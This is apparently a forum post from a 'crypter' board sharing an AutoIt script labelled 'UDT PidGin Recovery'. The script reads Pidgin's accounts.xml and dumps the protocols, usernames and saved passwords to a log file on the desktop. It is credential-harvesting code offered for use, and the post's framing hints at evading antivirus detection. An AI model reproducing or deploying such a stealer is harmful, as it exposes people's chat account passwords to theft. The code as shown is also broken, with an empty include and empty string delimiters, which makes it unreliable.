Locked UDT PidGin Recovery

[crypter]

UDT PidGin Recovery

 

Buenas tios , nadie raro , = que el otro , solo ay canbiado algunos parametros

 

Saludos

 

#include

;===========================================

; Simple PidGin Recovery [ AutoIt ]

; Autor: M3

; Fecha: 16-01-2013

; Propósito: Recuperar Datos de PidGin

; Recupera: Protocolo, Usuario y Contraseña

; Uso : sPidGinRecovery()

;===========================================

 

sPidGinRecovery()

 

Func sPidGinRecovery()

 

Local $sFile , $sProto , $sUser , $sPass , $sLog , _

$sNewLine , $sPath1 , $sPath2

 

 

$sNewline = @CRLF

$sLog = @DesktopDir & '\Log.log'

$sPath1 = @AppDataDir & '\.purple\accounts.xml'

$sPath2 = @AppDataDir & '\.gaim\accounts.xml'

 

 

 

If FileExists ($sPath1) Then

$sFile = FileRead($sPath1)

Else

$sFile = FileRead($sPath2)

EndIf

 

 

 

$sProto = _StringBetween($sFile ,'', '')

$sUser = _StringBetween($sFile ,'', '')

$sPass = _StringBetween($sFile ,'', '')

 

 

 

 

If FileExists($sLog) Then FileDelete($sLog)

 

For $i = 0 to Ubound($sProto) -1

 

FileWrite($sLog,'========= UDT PidGin =========' & $sNewline & 'Proto : ' & $sProto[$i] & $sNewline & 'User : ' & _

$sUser[$i] & $sNewline & 'Pass : ' & $sPass[$i] & $sNewline & '===========================' & $sNewline )

 

Next

 

EndFunc

 

Autor: M3